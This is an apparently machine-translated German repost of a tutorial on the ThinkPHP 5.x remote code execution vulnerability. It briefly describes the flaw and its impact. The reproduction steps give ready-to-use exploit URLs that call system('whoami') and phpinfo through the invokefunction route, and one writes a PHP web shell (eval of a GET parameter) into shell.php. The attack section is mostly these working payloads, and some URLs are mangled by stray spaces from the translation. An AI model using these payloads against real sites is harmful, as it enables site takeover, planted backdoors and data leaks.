Heim > PHP-Framework > Denken Sie an PHP > Sicherheitslücke bei thinkphp-Remotebefehlsausführung

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

Freigeben: 2020-05-08 09:16:12
nach vorne
4444 Leute haben es durchsucht

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

Schwachstellenübersicht

ThinkPHP ist ein beliebtes Open-Source-PHP-Framework in China. Kürzlich wurde bekannt, dass es eine mögliche Remote-Codeausführung gibt Schwachstelle: Angreifer können PHP-Code in die Cache-Datei schreiben, was zur Remote-Codeausführung führt.

Obwohl es mehrere Voraussetzungen für die Ausnutzung dieser Sicherheitslücke gibt, hat diese Sicherheitslücke angesichts der großen Anzahl inländischer Websites, die das ThinkPHP-Framework verwenden, immer noch ein gewisses Ausmaß an Auswirkungen. Da das Framework den Controller-Namen nicht ausreichend erkennt, kann es zu einer möglichen Getshell-Schwachstelle kommen, wenn die erzwungene Weiterleitung nicht aktiviert ist.

Gefahren der Sicherheitslücke

Ein Angreifer kann durch diese Sicherheitslücke die Kontrolle über die Website erlangen und die Seite ändern, was zu Datenlecks und anderen Problemen führt.

Betroffene Version

5.x

Reproduktionsumgebung

thinkphp5.1 phpstudy integrierte Umgebung (php5.6n+Apache+MySQL)

Reproduktionsprozess

1. Erster Build wie in der Abbildung gezeigt. Gut Umgebung

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

2. Verwenden Sie die Systemfunktion, um Remote-Befehle auszuführen:

http://localhost/thinkphp5.1/html/public/ index .php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

3. Via phpinfo Die Funktion schreibt die Informationen von phpinfo():

http://localhost/thinkphp5.1/html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0% 5D= phpinfo&vars%5B1%5D%5B%5D=1

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

4. Shell schreiben:

http://localhost / thinkphp5.1/html/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[ % 22code%22])?^%3E%3Eshell.php

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

oder

http://localhost/thinkphp5. 1 /html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

Empfohlenes Tutorial: „TP5

Das obige ist der detaillierte Inhalt vonSicherheitslücke bei thinkphp-Remotebefehlsausführung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:csdn.net
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage